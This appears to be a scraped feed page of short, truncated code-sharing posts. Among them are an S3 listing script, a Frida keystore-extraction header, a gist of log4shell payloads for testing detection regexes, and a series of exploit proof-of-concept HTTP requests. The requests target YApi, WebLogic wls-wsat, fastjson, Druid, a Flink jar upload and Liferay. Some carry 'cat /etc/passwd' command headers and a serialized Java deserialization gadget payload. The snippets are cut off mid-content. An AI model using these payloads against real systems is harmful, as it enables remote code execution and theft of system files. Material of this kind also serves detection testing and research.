RASSec

import boto3

aws_access_key = "###############"
aws_secret_key = "###############"
aws_bucket = "bucket-name"

def list_s3_files(access_key=aws_access_key, secret_key=aws_secret_key, bucket_name=aws_bucket):
    # creates a list of all the files in S3 bucket
    s3 = boto3.resource('s3', aws_access_key_id=access_key, aws_secret_access_key= secret_key)
    

RASSec

Objective

This gist gather a list of log4shell payloads seen on my twitter feeds.

💨 I will update it every time I see new payloads.

The goal is to allows testing detection regexes defined in protection systems.

⚠️ ⚠️ ⚠️

RASSec

#!/usr/bin/python3

'''
author: ceres-c
usage: ./frida-extract-keystore.py
       Once the keystore(s) have been exported you have to convert them to PKCS12 using keytool
'''

import frida, sys, time

RASSec

POC YApi RCE:

Reference:

• YMFE/yapi#2229

POC

Requests:

POST /api/user/reg HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

RASSec

POST Request with burpsuite

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Content-Type: text/xml
SOAPAction: ""
Content-Length: 175816
CMD: cat /etc/passwd
Connection: close

RASSec

fastjson ver:1.2.24

POST / HTTP/1.1
Host: REDACTED
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Content-Type: application/json

RASSec

POST /druid/indexer/v1/sampler?for=example-manifest HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1006
Connection: close

RASSec

POST /jars/upload HTTP/1.1
Host: REDACTED:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 187
Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
Accept-Encoding: gzip

--8ce4b16b22b58894aa86c421e8759df3
Content-Disposition: form-data; name="jarfile";filename="pikpikcu.jar"

RASSec

POST /api/jsonws/invoke HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
cmd2: cat /etc/passwd
Content-Type: application/x-www-form-urlencoded
Content-Length: 4956
Connection: close

cmd=%7B%22%2Fexpandocolumn%2Fupdate-column%22%3A%7B%7D%7D&p_auth=%3Cvalid+token%3E&formDate=%3Cdate%3E&columnId=123&name=asdasd&type=1&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F63

RASSec

"          _                      _          "
"   _     /||       .   .        ||\     _   "
"  ( }    \||D    '   '     '   C||/    { %  "
" | /\__,=_[_]   '  .   . '       [_]_=,__/\ |"
" |_\_  |----|                    |----|  _/_|"
" |  |/ |    |                    |    | \|  |"
" |  /_ |    |                    |    | _\  |"

	It is all fun and games until someone gets hacked!